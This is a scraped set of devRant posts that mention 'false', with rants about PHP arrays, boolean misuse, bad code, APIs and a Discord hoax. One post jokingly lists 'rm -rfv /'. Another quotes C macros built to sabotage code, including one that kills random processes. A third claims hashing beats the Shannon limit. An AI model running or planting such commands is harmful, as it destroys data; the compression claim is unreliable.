As per energy density and practicality, things don’t get much better than petrol. Liquid hydrogen has higher energy density, but to store it, gas tank has to have very, very thick walls, to withstand the pressure. And, hydrogen is a bitch. It’s extremely dangerous. You can’t smell it until it’s too late. Hydrogen-air mixture will explode if you look at it the wrong way.
All that “electric cars good for climate” hype is merely Elon maintaining his stock bubble.23 -
PHP arrays.
The built-in array is also an hashmap. Actually, it's always a hashmap, but you can append to it without specifying indexes and PHP will use consecutive integers. Its performance characteristics? Who knows. Oh, and only strings, ints and null are valid keys.
What's the iteration order for arrays if you use them as hashmaps (string keys)? Well, they have their internal order. So it's actually an ordered hashmap that's being called an array. And you can produce an array which has only integer keys starting with 0, but with non-sequential internal (iteration) order.
This array weirdness has some non-trivial implications. `json_encode` (serializes argument to JSON) assumes an array corresponds to a JSON array if its keys are consecutive integers in increasing order starting with 0, otherwise the array becomes a JSON object. `array_filter` (filters arrays/hashmaps using callback predicate) preserves keys, so it will punch holes in the int key sequence if non-last items are removed, thus turning arrays into hashmaps and changing your JSON structure if you forget to discard keys before serialization.
You may wonder how JSON deserialization works, then? There's a special class for deserialized JSON objects, `stdClass`. It's basically a hashmap too, but it's an object, not an array, and all functions that would normally accept arrays won't work with it. So basically its only use is JSON (de)serialization. You can even cast arrays to objects, producing `stdClass`.
Bonus PHP trivia:
Many functions return nonsensical values. `preg_match`, the regex matching function, returns 1 for success, 0 for no matches and false for malformed regular expression. PHP supports exceptions, so it could just throw one on errors. It would even make more sense to return true, false and null for these three cases. But no, 1, 0 and false. And actual matches are returned by output arg.
`array_walk_recursive`, a function supposed to recursively apply callback to each element of an array. That's what docs say. It actually applies it to leafs only. It will also silently accept object instead of array and "walk" it, but without recursing into deeper objects.
Runtime type enforcing is supported for function arguments and returned values. You can use scalar types, classes, array, null and a few special keywords. There's also a `mixed` keyword, which is used in docs and means "anything". It's syntactically valid, the parser will accept it, but it matches no values in runtime. Calling such function will always cause a runtime error.
Strings can be indexed with negative integers. Arrays can't.
ReflectionClass::newInstanceWithoutConstructor: "Creates a new class instance without invoking the constructor". This one needs no commentary.
`array_map` is pretty self-explanatory if you call it with a callback and an array. Or if you provide more arrays of equal length via varargs, callback will be called with more arguments, one from each array. Makes sense so far. Now, you can also call `array_map` with null instead of callback. In that case it treats provided arrays as rows of a matrix and returns that matrix, transposed.5 -
So, if i false just correct me to true. But if i true i will be false at the same time. But this is not false.
Thank you devRant algorithm 😂1 -
Stupid HTML checkboxes! It's always annoyed me that you can't just set checked to true or false, but have to remove the property altogether to uncheck a checkbox. Better still would be if you'd only need to set the value to 1 or 0, and the checked or not would sort out automatically. Yes, there are frameworks to handle it, I know. But if checkboxes had been designed right from start, a framework or any sort of special cases would not be needed. You've got love HTML, but things like this make it ugly.6
-
While getting a pro in Kotlin, I started using
when(condition) {
true -> doOneThing()
false -> {
xyz = whatEver()
blaBla()
}
}
instead of simple if-else.
It looks nice but also distracting.
What is your opinion on that?
I guess most will be like:6 -
Two actual lines of code I stumbled upon...
static ArchiveAbstract ARCHIVE_TRUE = new ArchiveTrue();
static ArchiveAbstract ARCHIVE_FALSE = new ArchiveFalse();
Ok you might think, what is going on? Searching for it's usage yields exactly a single case:
if(someVar instanceof ArchiveTrue ? true : false)
So someone managed to introduce 3 new classes... instead of using a simple boolean.
(╯°□°)╯︵ ┻━┻2 -
Found in the PCIe driver code for something I have to work with:
if (false) {
// 200 lines of unnecessary code
}
You ever heard of, you know, comments?8 -
Ok, a few days ago I recommended contabo.com as a good and cheap VPS, because our company uses it and it is blazingly fast. BUT! I am definitely NOT doing this!
"False or fraudulent orders are commonplace on the Internet. We have to take measures to prevent such false or fraudulent orders. Our system has identified your order as a possible false order. We must now prove your order as a valid order, otherwise we cannot provide you with the services you bought. We need your help with this. Please send us a copy of your passport or national identity card or something similar which corresponds to the data you have provided to us. Alternatively, you can send us your telephone or electricity bill if it contains your address. The address must match the address you provided on our homepage. It is sufficient if you simply take a photo of the document. The only purpose of this is to prove your order as authentic. This is why it does not matter which of the mentioned documents you send us and it does not matter if you make a scan or take a photo. A scammer could not provide any of these documents, this means one document is already enough to prove that your order is authentic and valid."14 -
Spent hours trying to figure out why API calls to a third party service weren't working.
Hit up their support and find out the following:
"Hi there, we can only take true and false as strings."
"Uhmm... Does it take anything apart from true or false?"
"No, but they must be sent in as strings"
"Any reason why you don't take booleans if it's just true or false?"
*crickets chirping*
GFG2 -
So I need to "fix" a false-positive security warning (mass-assignment of a foreign key). Do I "fix" it by...
A) Setting it manually and double-saving the object?
B) Rewriting the mass-assignment so the linter doesn't realize what I'm doing?
Both options suck.
But security is going to complain if I don't do it.
Guess what?
I'm not doing it.
SMD you ducks.10 -
This literally made me spill coffee all over my screen,
#define struct union
#define if while
#define else
#define break
#define if(x)
#define double float
#define volatile // this one is cool
// I heard you like math
#define M_PI 3.2f
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false
// Randomness based; "works" most of the time.
#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
// String/memory handling, probably can live undetected quite long!
#define memcpy strncpy
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1)
// Let's have some fun with threads & atomics.
#define pthread_mutex_lock(m) 0
#define InterlockedAdd(x,y) (*x+=y)
// What's wrong with you people?!
#define __dcbt __dcbz // for PowerPC platforms
#define __dcbt __dcbf // for PowerPC platforms
#define __builtin_expect(a,b) b // for gcc
#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break
// Some for HLSL shaders:
#define row_major column_major
#define nointerpolation
#define branch flatten
#define any all5 -
Let's say you have a MySQL database table for jobs. Each job has 1 associated ticket. You want to keep track if the ticket is closed or not. Every sane person creates jobs table, tickets table, keeps bool value for ticket state and relationship between them.
But because our database is designed by a half braindead amoeba, we have one table only, so each job has to be updated individually with a new ticket number and its state. Beacuse it sooo much faster to update (daily!) 13k jobs than just 100 tickets.
As a bonus - if the ticked is closed, the column "ticket_closed" is "No", if it's still open the value is "FALSE". Yes, both as varchar/strings.7 -
A fight story (separation of concern) : work vs life
IT Director (IT'D) forwarded a client message (false detection) to my whatsapp (personal number). I am sitting next to his cabin.
After an hour,
ITD : what was the issue with the client x?
Me : (proved false detection),
ITD : did you emailed client?
Me : no, don't send me these in WhatsApp, if any issues, email me since I won't check whatsapp and there is no guarantee that I will reply you back.
ITD : why, don't be negative. Either you have to or me have to do it.
Me : Tell them to email.
ITD : That is not right.
Me : I don't care if you provide support via WhatsApp. But I don't. Unless you provide a separate mobile and connection.
End of story.3 -
Few days ago I wrote function that finds occurrence of value in array:
function findOccurrence(value, array) {
for (var i = 0; i < array.length; i++) {
if (value === array[I]) return true;
}
return false;
}
But there's already [].includes() function in JavaScript.5 -
Putty, you son of a bitch. Why do you call the logging option "All session output" if you don't include binary zeros in the output? Zeros don't count as "all" or what?
Then call the option "All session output without zeros", that would have saved me some time and prevented handing out false data.6 -
3 hours...
3 damn hours for 200 lines of bash code.
Exorcism, Magic I don't care.... But please make a special person never touching bash programming again.
I ripped my hairs out. Really.
Till I realized someone wrote functions with _logical_ return true codes as numbers.
0 - as logical false, for failure
1 - as logical true, for success
Leading my brain into a severe segfault fun.
Why... Oh why.
Second fun part as I corrected that...
Someone wasn't fond of exit codes at all.
Script is now 86 % rewritten....
God damn it, if you don't like a languages fine.
But inverting core logic should give a free trip to the electrical chair.1 -
Am I the only one who's getting more and more aggrevated about how the large youtube channels misinform and make out VPN providers (I am looking at you, Nord VPN, mostly) as the messiahs of the internet? How they protect our data that would otherwise be in incredible "danger" otherwise?
I understand they need clients, and I know most of the YT channels probably do not know better, but... This is misinformation at best, and downright false advertising at the worst...
"But HTTP-only websites still exist!" - yes, but unlike the era before Lets Encrypt, they are a minority. Most of the important webpages are encrypted.
"Someone could MITM their connection and present a fake certificate!" - And have a huge, red warning about the connection being dangerous. If at that point, the user ignores it, I say its their fault.
Seriously... I don't know if Nord gives their partners a script or not... But... I am getting super sick of them. And is the main reason why I made my own VPN at home...14 -
I am an intern getting paid $25/hour for fullstack web development. Their brand new full time frontend web developer, getting paid at least $75,000/yr, just wrote these lines of code:
if(this.ackBy !== null && this.ackTime !== null)
this.acknowledged = true;
else
this.acknowledged = false;
This. Is. Far. From. His. Worst. Code. This isn't even surprising to me. How does this incompetence find work in this field16 -
My first login function
const login = (email, password) => {
If (email && password) {
return true
} else {
return false
}
}10 -
You do know that "why do I need you if I can copy-paste code from SO?" joke floating around, right? Today I had a real-life situation perfectly illustrating it.
So I bought a set of parking sensors. Cheap ones, from AliExpress. Prolly the cheapest ones I could find. Installed them w/ engine turned off. All seemed fine. Cleaned it all up, got ready to go, started the engine and beeeep beeep beeepeeeeep beepp ..... beeeeeeeeep.
fuck.
Tried unplugging/replugging them one-by-one to find the faulty one. Nada. Apparently they all were false-alarming. They must all be bad, bcz they seem to work well w/ engine turned off (ignition on) and only false-alarm when engine is on.
Allright, I'll get a new set next weekend, a more expensive one and replace them again.
There goes my €20 and another week basically w/o parking sensors (car length is >5 meters, so sensors do help a lot).
Today I spend a few hours removing my rear bumper again, replacint all the sensors, wiring, etc. Tests show promising results - all sensors seem OK even w/ engine on! Close it all up, start a car again and.... beeep bep bep beeep beeee..eeeeppp.
MOTHER FUCK!
Another 30min-hour goes by while looking for a possible culprit. And I found it. The fix could did not take longer than 5 seconds. Apparently a wire feedint the sensors' controller was too close to sensors' wires. All I had to do is to push that wire a lil further from the controller with my index finger.
I could have saved €30, a week of time, half a day of work if I only knew what wire to [literally] poke.
shit...4 -
Your guide to passive-aggressive false apologies:
- I’m sorry you’re so sensitive
- I’m sorry that you think I did something wrong
- I’m sorry if you’re mad
- I’m sorry that you made me do it
- I’m sorry you feel that way
And, my most favorite:
- I’m sorry that you’re making such a big deal out of this.12 -
I’ll often open up my console and check if something is true and then check if the opposite is false. Thanks js3
-
spent half an hour debugging an if statement that won't return anything but false. Apparently, the condition was:
if (check === true). and the check var was a string! so yeah, spent half an hour to realise I was checking if 'true' is true..4 -
I will die younger because of node packages
It's like quantum mechanics, so undeterministic, even with yarn.lock, I had this meeting to demo software and I was ready for 2 min past the meeting time, having worked nearly all night to save monorepo yarn workspaces issues where some module has peer dependency it shouldn't have and some other module installed a newer version of a package which broke another module with another version of the same package, one module checks if it's got an instanceof another package, but it returns false because it's another version of the same package that created it so X !== X.
I nearly had a nervous breakdown and my node modules won't fix when I remove all node_modules in the yarn+lerna monorepo and reinstall from scratch... it's like seeing ghosts with these errors all works for months and then a butterfly splashes its wings near 1 node module and the entire app fails apart.
:'''(2 -
In a programming exam, we had to write a program in 60 minutes, part of which was sorting some strings by length (strings the same length had to be in the same line)... I had like 3 minutes left, so i wrote this beauty:
boolean b = false;
for(int i = 0; i <= 999999; i++){
for(int j = 0; j <= strings.length; j++){
if(i == strings[j].length()){
System.out.print(s + " ");
b = true;
}
}
if(b){
System.out.println();
b = false;
}
}6 -
Today I found this jewel in a PR of a respected dev of my workplace:
if(conditions)
{
return true;
}
else
{
return false;
}3 -
When you search for this error during 3 hours
if (false);
{
printf("why u right ?");
}
And it was just the first lines comma9 -
First time I was screaming out of anger while looking at code.
I'm doing a group project in my university.
We are developing a indoor navigation Android app.
And a team mate of mine just merged this…
/*Method for help-feature.
Sets all the TouchEvents that are at least 400 ms long. This is made for all the relevant buttons or editTexts, which are seen on the mapView.
The case for mapView is needed because otherwise the other buttons, etc. wont work properly.*/
public void setButtonsForHelpDialog(){
View v = mapView;
switch (v.getId()) {
case R.id.mapview:
mapView.setOnTouchListener(…);
case R.id.buttonUp:
buttonOn.setOnTouchListener(…);
case R.id.buttonDown:
buttonDown.setOnTouchListener(…);
…
case R.id.description:
description.setOnTouchListener(…);
}}
The code is really aligned like this - no breaks. And it's even worse. There are if statements like if("constantly false var" == true). Which is highlighted by Android Studio.
This is done in a own class. The views are set via public member variables of this new class. The constant vars were added in the actual class holding the buttons and also stuff like this useless method
public void getDoStuff() {
doStuff()
}
And I could continue like this.
I never saw code this bad…
I can't even find words for it :/4 -
As many here (incl. me) like the Silicon Valley series, T.J Miller (playing as Erlich Bachman in the series) has been again in the news for his (mis)behaviour, this time for seemingly calling in a fake bomb threat on somebody, while being drunk.
Do you think the producers would go as far as remove him from the series for the rolling drama? if so, can you imagine the series being without him?
Sources:
- https://justice.gov/usao-ct/pr/...
- https://mashable.com/2018/04/...
- http://dailymail.co.uk/news/...6 -
Dont become a dev if you:
- Cant sit in the office for 8-10 hours a day
- Dont know how to google information/ errors, instead you interrupt your teammates with stupid questions every 5 minutes
- Are a perfectionist and don't like constant change.
- Are neurotic and give up easily. If you get triggered about broken or messy things to the point where it ruins your day to you and everyone else around you. You need to separate your work from your life.
- Don't have good communication skills. Worst I saw was a guy who speaks with a stutter(nobody understands him) and also writes very poorly (nobody understands his emails). Also he gets very angry when you ask additional questions to clarify what he said. How can you work with someone like that?
- Are very sensitive to critique. I prefer someone telling me that my code is shit and telling me why, instead of feeding me delusions and false validation.
- Dont know how to balance working in team and working solo. Nobody likes lone wolfs who are arrogant and not in sync with the team. But also nobody likes to drag teammates who cant think for themselves and even after years of spent in the field are required constant spoonfeeding because they are unable to google and teach themselves with trial and error.14 -
I’m all for writing boolean statements that are readable, quick to grasp the real life case they’re representing and align with the spec rather than being ultra-reduced, but sometimes the spec is written by someone who clearly can’t reduce logic. So when the spec says “if it’s not the case that any of them are false” and you write:
!(!a || !b || !c || !d)
then I think you should try harder. At least put a note against the spec to say “i.e. if they’re all true” and then write the sensible code. Just think of the poor developer that might have to augment your code at a later date and has to follow and intercept that shite. -
$md5 = md5_file($file_uri);
=> Returns false
Mmh...
die(is_readable($file_uri));
=> Returns false
[Mmh intensifies]
if(!is_readable($file_uri)) {
chmod($file_uri, 0777);
}
=> Chmod() returns false
GAAAAH FUCK THIS I CALL IT A DAY6 -
My man said "What should I return if the True/False field is left blank?"
WHY WOULD A BOOLEAN BE ANYTHING OTHER THAN TRUE OR FALSE???!!!
I'm gonna have an aneurysm. I shouldn't be educating people on best practices for something that's already been written about time and time again. RESTful philosophy has been documented so much, and all it takes is a quick google search, but noooo! I have to take time out of my day as if I'm a regular old stakeholder to explain that I want the exact thing that I sent in an email two weeks ago. Amazing.17 -
Fuck everything about Microsoft Dynamics. I'm supposed to use the REST API to make a web front-end. I notice all of the data comes back codified.
null == 0.
boolean true == 100000000
boolean false == 100000001
except sometimes when
boolean false == 100000000
boolean true == 100000001
or other times
string "Yes" == 100000000
string "No" == 100000001
string "Maybe" == 100000003
Hang on. Is the system representing a 1 bit value with base 10 numbers? Did the client set this up like this? Holy crap every number corresponds to a unique record in a table somewhere. That means it only returns numeric values instead of strings and I have to figure out what the number means in the context of the table.
A "key" is user typed? So every time someone starts to make a new record it saves a new "key" without a record? So I can pull a bunch of "0" records if I pull sequentially? So basically I need to see all of the data in Dynamics to have any context at all for what is returned from the Dynamics API? Fuuuuuuuuuu10 -
I really dislike when people don't use braces { } on if/else statements.
If(almond.harvestStatus == undefined) almond.harvestMode=false
almond.dropdown = false.2 -
guide to programing success
step 1: check if you are being productive.
if the answer is false have some coffee
if it is true have some coffee
step 2: repeat6 -
The everything is Data science craze trend.
Honestly it's not even sustainable with every kid and their grandmother wanting to be data scientists because it's a 'passion' and a 'dream job' and all of that click bait stuff.
It's just become ridiculous at this point and I doubt we'll even have the long awaited 'breakthroughs' people have been talking about for so long.
Also I have a strong feeling everyone thinks it's their 'passion' because it tops the lists of highest paid jobs out there and everyone thinks with 3 months of training they're a fully fledged data scientist because some Python or R package implements all the algorithms he could ever think of using.
Add to that the fact that most advertised data science jobs are actually data engineering where you maintain a date store and that's it.
Agree or disagree that's my piece and if you can convince me otherwise I'll be surprised because I've been subscribed to this idea for so long that it lost me some real good opportunities because I thought it was just what I was meant to be doing which turned to be false after I thought about it. There's a million other jobs that are more impactful and with pursuing.2 -
Legacy code huh?
Well i'd say it would be when i was workng on an old java app that was apparently written by a retard.
He had used strings to represent booleans for no apparent reason. As if that wasn't bad enough he would use different strings too:
Y N true false 1 0
He used them randomly too , y and 0
N and true
😡
I sense it was done on purpose
Perhaps he knew he was leaving soon2 -
I'm trying really hard not to be sensitive, but my manager is making it difficult with their "constructive criticisms" ...
Just finished up a call with them. And I'm so tired. I'm not even angry or upset, I just feel so tired of their bullshit.
I set up a meeting as a courtesy to get them up to date on all the code changes I made. Last night I stayed up late to try and get things in before the deadline and this morning just killed me when they say.
"I don't think I should have given you this."
"I was right, you weren't ready to start doing this."
(Then don't even bother giving me anymore tasks then, I don't fucking care.)
"you clearly don't understand how branches work"
(Absolutely fucking false, I fixed that shit and am very familiar with how to understand the structure of the fucking repo)
"you are rushing and I don't need you messing up the website"
(I'm being proactive you twat, not rushing, making it very difficult for me to do the work and being productive)
Like seriously bro! Don't fucking patronize me for the work I was trying to get out. And trust me this fucking meeting is done in order to get ahead of potential issues, not a time to be condescending of my skills or lack there-of as you seem to so keenly think.
If you had this much doubt about my abilities then why give me the fucking Sr. title? Fucking trust that I'm being honest, and I'm trying to get us to a good spot, not fucking sabotage the company. God fucking damn.6 -
if false? if false what? (false is just not defined, but this is the sort of shit I come across in the twig-theme-saas world, makes me angry)5
-
Came across a method in the code base that returns a boolean.
It uses a ternary operator which returns true if the result is true and false.. you guessed it... if the result is false.
WHY NOT JUST RETURN THE FUCKING RESULT!!!
What. The. F#%#....2 -
Spend past 2 days trying to hunt down a bug...
I forgot `0` evaluates as `false` so this statement always returned `false` if `id` was `0` >.>12 -
How to deal with legacy code when you see such thing:
if function() == !!!false
1. Ctrl+A
2. Del
3. rm -rfv /3 -
// Define this isn't a rant.
this.isRant = false;
So just curious if there are any dev stroke artists on here that might be willing to lend me a hand with some prototype art...
Just need some character sprites made into modular pieces and a few edits.
Didn't know anywhere else to post this :-(10 -
Pulled into an 'emergency' meeting with a group of web designers deeply concerned a particular service wasn't going to meet all their requirements.
DevA: "For each page, Its going to be A LOT of work to retrieve all the data and store it's state. Every page load will require a round trip to the service."
DevB: "Yes, we aren't sure how the service should be changed to do what we need."
Mgr: "What is it not doing now? Doesn't the service already returns all the necessary data?"
DevA: "Well...um...its all the boolean fields. Some may be defaulted from the database or false because the user unchecked the box. We have to know which is which"
Me: "Why? Are you doing anything different in the UI? Checkbox will be true or false. What or who set that value is irrelevant"
DevC: "Well, it matters if the user didn't fill out all other other values."
Me: "How so?"
DevA: "Its matters because the values in the other fields. Its going to be A TON of work to figure out."
<mgr goes to the white board>
Mgr: "Lets map this out...what fields are you needing to trigger the state on?"
DevA: "Um...uh...the 'Approved' field...and um...'OK to Contact' field"
Mgr: "Just those two?"
DevA: "Yea..um...there are other fields, but whether or not to show the edit box depends on those two."
Me: "The service already returns data, you only have two fields to check? I don't see a need to change the service at all."
DevA: "Returning all that data, we are going have a serious scaling problem. We'll be hitting the service A LOT. All that javascript could cause performance problems too"
Me: "How much data are we talking about? Name, address, couple of booleans?"
DevA: "I have to serialize the data. All that logic is going to be reeeaaallly complicated. It might be better if the service returned only the data I need."
Me: "$64,000 question, how often is this feature going to be used on the web site? Maybe once? Few hundred a week?"
Mgr: "We have no idea. A lot of the data will be pre-populated and we're only sending out a few thousand invitations. More around the holidays...but honestly, not very many."
Me: "Changing that service only for this particular area of the web site isn't going to happen. Changing the UI is the only course of action."
DevA: "Oh frack I can't wait until this project is over."
DevA...how the funck do still have a job here? You wasted about half-hour of my time with your cry-baby crap. Where is my hammer...no...no..don't go there...ahhh...thanks devrant. Prison sentence diverted.2 -
Inspired by @shahriyer 's rant about floating point math:
I had a bug related to this in JavaScript recently. I have an infinite scrolling table that I load data into once the user has scrolled to the bottom. For this I use scrollHeight, scrollTop, and clientHeight. I subtract scrollTop from scrollHeight and check to see if the result is equal to clientHeight. If it is, the user has hit the bottom of the scrolling area and I can load new data. Simple, right?
Well, one day about a week and a half ago, it stopped working for one of our product managers. He'd scroll and nothing would happen. It was so strange. I noticed everything looked a bit small on his screen in Chrome, so I had him hit Ctrl+0 to reset his zoom level and try again.
It. Fucking. Worked.
So we log what I dubbed The Dumbest Bug Ever™ and put it in the next sprint.
Middle of this week, I started looking into the code that handled the scrolling check. I logged to the console every variable associated with it every time a scroll event was fired. Then I zoomed out and did it.
Turns out, when you zoom, you're no longer 100% guaranteed to be working with integers. scrollTop was now a float, but clientHeight was still an integer, so the comparison was always false and no loading of new data ever occurred. I tried round, floor, and ceil on the result of scrollHeight - scrollTop, but it was still inconsistent.
The solution I used was to round the difference of scrollHeight - scrollTop _and_ clientHeight to the lowest 10 before comparing them, to ensure an accurate comparison.
Inspired by this rant: https://devrant.com/rants/1356488/...2 -
At first it seemed harsh, but then I learned that he committed code like
if (a == b)
return true;
else
return false;9 -
Just found this gem:
<a href="..." onclick="if (! confirm("Are you sure you want to log out?")) return false;">Log out</a> -
Serious question: If a highly intelligent being, better than humans, is about to code something, how would they probably do it?
Will they use the same concepts like control flow, iterations, types, operators, object inheritance, etc?
If they are quantum capable, how can they code with booleans when it can be both true and false at the same time? Will they code truthy and falsy with another dimension like time-space temporality?
Do their code simultaneously modify the hardware or bio-hardware as it iterates over the outcome of the code?
Does input and output even relevant to them?
How do they represent infinites?
Do they have similar github workflows or they telepathically update the source code?
Do they embed their program in their DNA? Then pass to offspring the codes they already created?
Do they code using a language or do they use some frequencies and material science that simultaneously show real world output?
And do they have their version of devRant?16 -
Hey, been gone a hot minute from devrant, so I thought I'd say hi to Demolishun, atheist, Lensflare, Root, kobenz, score, jestdotty, figoore, cafecortado, typosaurus, and the raft of other people I've met along the way and got to know somewhat.
All of you have been really good.
And while I'm here its time for maaaaaaaaath.
So I decided to horribly mutilate the concept of bloom filters.
If you don't know what that is, you take two random numbers, m, and p, both prime, where m < p, and it generate two numbers a and b, that output a function. That function is a hash.
Normally you'd have say five to ten different hashes.
A bloom filter lets you probabilistic-ally say whether you've seen something before, with no false negatives.
It lets you do this very space efficiently, with some caveats.
Each hash function should be uniformly distributed (any value input to it is likely to be mapped to any other value).
Then you interpret these output values as bit indexes.
So Hi might output [0, 1, 0, 0, 0]
while Hj outputs [0, 0, 0, 1, 0]
and Hk outputs [1, 0, 0, 0, 0]
producing [1, 1, 0, 1, 0]
And if your bloom filter has bits set in all those places, congratulations, you've seen that number before.
It's used by big companies like google to prevent re-indexing pages they've already seen, among other things.
Well I thought, what if instead of using it as a has-been-seen-before filter, we mangled its purpose until a square peg fit in a round hole?
Not long after I went and wrote a script that 1. generates data, 2. generates a hash function to encode it. 3. finds a hash function that reverses the encoding.
And it just works. Reversible hashes.
Of course you can't use it for compression strictly, not under normal circumstances, but these aren't normal circumstances.
The first thing I tried was finding a hash function h0, that predicts each subsequent value in a list given the previous value. This doesn't work because of hash collisions by default. A value like 731 might map to 64 in one place, and a later value might map to 453, so trying to invert the output to get the original sequence out would lead to branching. It occurs to me just now we might use a checkpointing system, with lookahead to see if a branch is the correct one, but I digress, I tried some other things first.
The next problem was 1. long sequences are slow to generate. I solved this by tuning the amount of iterations of the outer and inner loop. We find h0 first, and then h1 and put all the inputs through h0 to generate an intermediate list, and then put them through h1, and see if the output of h1 matches the original input. If it does, we return h0, and h1. It turns out it can take inordinate amounts of time if h0 lands on a hash function that doesn't play well with h1, so the next step was 2. adding an error margin. It turns out something fun happens, where if you allow a sequence generated by h1 (the decoder) to match *within* an error margin, under a certain error value, it'll find potential hash functions hn such that the outputs of h1 are *always* the same distance from their parent values in the original input to h0. This becomes our salt value k.
So our hash-function generate called encoder_decoder() or 'ed' (lol two letter functions), also calculates the k value and outputs that along with the hash functions for our data.
This is all well and good but what if we want to go further? With a few tweaks, along with taking output values, converting to binary, and left-padding each value with 0s, we can then calculate shannon entropy in its most essential form.
Turns out with tens of thousands of values (and tens of thousands of bits), the output of h1 with the salt, has a higher entropy than the original input. Meaning finding an h1 and h0 hash function for your data is equivalent to compression below the known shannon limit.
By how much?
Approximately 0.15%
Of course this doesn't factor in the five numbers you need, a0, and b0 to define h0, a1, and b1 to define h1, and the salt value, so it probably works out to the same. I'd like to see what the savings are with even larger sets though.
Next I said, well what if we COULD compress our data further?
What if all we needed were the numbers to define our hash functions, a starting value, a salt, and a number to represent 'depth'?
What if we could rearrange this system so we *could* use the starting value to represent n subsequent elements of our input x?
And thats what I did.
We break the input into blocks of 15-25 items, b/c thats the fastest to work with and find hashes for.
We then follow the math, to get a block which is
H0, H1, H2, H3, depth (how many items our 1st item will reproduce), & a starting value or 1stitem in this slice of our input.
x goes into h0, giving us y. y goes into h1 -> z, z into h2 -> y, y into h3, giving us back x.
The rest is in the image.
Anyway good to see you all again.23 -
You know that feel as a developer when you add a feature to someone's existing project and you see a shitty code. well this has to be one of the shittiest code I have seen.
select_patient:function(patient)
{
console.log(patient)
this.select_patient_index = 0;
var pending = patient.Pending;
var USER_ID_Patient = patient.ID;
var prescription_ID = patient.Prescription_ID;
if(prescription_ID == null) prescription_ID = 0;
patient.Pending = pending = parseInt(pending);
patient.Prescription_ID = prescription_ID = parseInt(prescription_ID);
patient.USER_ID_Patient = USER_ID_Patient = parseInt(USER_ID_Patient);
if(pending > 0 && prescription_ID > 0)
{
this.select_patient_index = this.list.indexOf(patient);
$('#patientContinueModal').modal('show');
return false;
}
$scope.prescription.set(patient,null);
return false;
}
Also the guy has a space in his url.
xxxxxx.com/shopping cart !
My first instinct is to poke my eyes, find the developer (if we can call him that and shove it up his ______)1 -
Working on an Android app for a client who has a dev team that is developing a web app in with ember js / rails. These folks are "in charge" of the endpoints our app needs to function. Now as a native developer, I'm not a hater of a web apps way of doing things but with this particular app their dev teams seems to think that all programming languages can parse json as dynamically as javascript...
Exhibit A:
- Sample Endpoint Documentation
* GetImportantInfo
* Params: $id // id of info to get details of
* Endpoint: get-info/$id
* Method: GET
* Entity Return {SampleInfoModel}
- Example API calls in desktop REST client
* get-info/1
- response
{
"a" : 0,
"b" : false,
"c" : null
}
* get-info/2
- response
{
"a" : [null, "random date stamp"],
"b" : 3.14,
"c" : {
"z" : false,
"y" : 0.5
}
}
* get-info/3
- response
{
"a" : "false" // yes as a string
"b" : "yellow"
"c" : 1.75
}
Look, I get that js and ruby have dynamic types and a string can become a float can become a Boolean can become a cat can become an anvil. But that mess is very difficult to parse and make sense of in a stack that relies on static types.
After writing a million switch statements with cases like "is Float" or "is String" from kotlin's Any type // alias for java.Object, I throw my hands in the air and tell my boss we need to get on the phone with these folks. He agrees and we schedules a day that their main developer can come to our shop to "show us the ropes".
So the day comes and this guy shows up with his mac book pro and skinny jeans. We begin showing him the different data types coming back and explain how its bad for performance and can lead to bugs in the future if the model structure changes between different call params. He matter of factually has an epiphany and exclaims "OHHHHHH! I got you covered dawg!" and begins click clacking on his laptop to make sense of it all. We decide not to disturb him any more so he can keep working.
3 hours goes by...
He burst out of our conference room shouting "I am the greatest coder in the world! There's no problem I can't solve! Test it now!"
Weary, we begin testing the endpoints in our REST clients....
His magic fix, every single response is a quoted string of json:
example:
- old response
{
"foo" : "bar"
}
- new "improved" response
"{ \"foo\" : \"bar\" }"
smh....8 -
A dev found a bug I created where I set a SQL parameter name to @OrderID instead of the expected @Order. The standard is @OrderID, there is one stored proc where it's @Order.
Oops...I didn't catch it because the integration test didn't cover that area of the code. My mistake...I should have checked...I take complete responsibility for the screw up.
He let me know by email..
"When refactoring, from now on check the stored procedure parameters, there are a few that don't follow the standard."
I was like "from now on..."? ...wow....bold comment from someone responsible for code that doesn't check for nulls, doesn't log errors, and relies on exceptions for flow control. You wouldn't even have known about the error if I didn't modify your code to log the error (the try..except returned false)
I really wanted to reply ...
"Fixed. From now on, when you come across those easily found bugs, go head and fix it, write a test, and move on. Don't send a condescending email to me, my boss, your boss, all the DBAs, and the entire fracking order processing team. Thanks."
But..I thanked him for finding and letting me know...we're a team..blah blah blah..
Frack..people suck.1 -
Saw this sent into a Discord chat today:
"Warning, look out for a Discord user by the name of "shaian" with the tag #2974. He is going around sending friend requests to random Discord users, and those who accept his friend requests will have their accounts DDoSed and their groups exposed with the members inside it becoming a victim as well. Spread the word and send this to as many discord servers as you can. If you see this user, DO NOT accept his friend request and immediately block him. Discord is currently working on it. SEND THIS TO ALL THE SERVERS YOU ARE IN. This is IMPORTANT: Do not accept a friend request from shaian#2974. He is a hacker.
Tell everyone on your friends list because if somebody on your list adds one of them, they'll be on your list too. They will figure out your personal computer's IP and address, so copy & paste this message where ever you can. He is going around sending friend requests to random discord users, and those who accept his requests will have their accounts and their IP Addresses revealed to him. Spread the word and send this to as many discord servers as you can. If you see this user, DO NOT accept his friend request and immediately block him. Saw this somewhere"
I was so angry I typed up an entire feature-length rant about it (just wanted to share my anger):
"1. Unless they have access to Discord data centres or third-party data centres storing Discord user information I doubt they can obtain the IP just by sending friend requests.
2. Judging by the wording, for example, 'copy & paste this message where ever you can' and 'Spread the word and send this to as many discord servers as you can. If you see this user, DO NOT accept his friend request and immediately block him.' this is most likely BS, prob just someone pissed off at that user and is trying to ruin their reputation etc.. Sentences equivalent to 'spread the word' are literally everywhere in this wall of text.
3. So what if you block the user? You don't even have their user ID, they can change their username and discrim if they want. Also, are you assuming they won't create any alts?
4. Accounts DDoSed? Does the creator of this wall of text even understand what that means? Wouldn't it be more likely that 'shaian' will be DDoSing your computer rather than your Discord account? How would the account even be DDoSed? Does that mean DDoSing Discord's servers themselves?
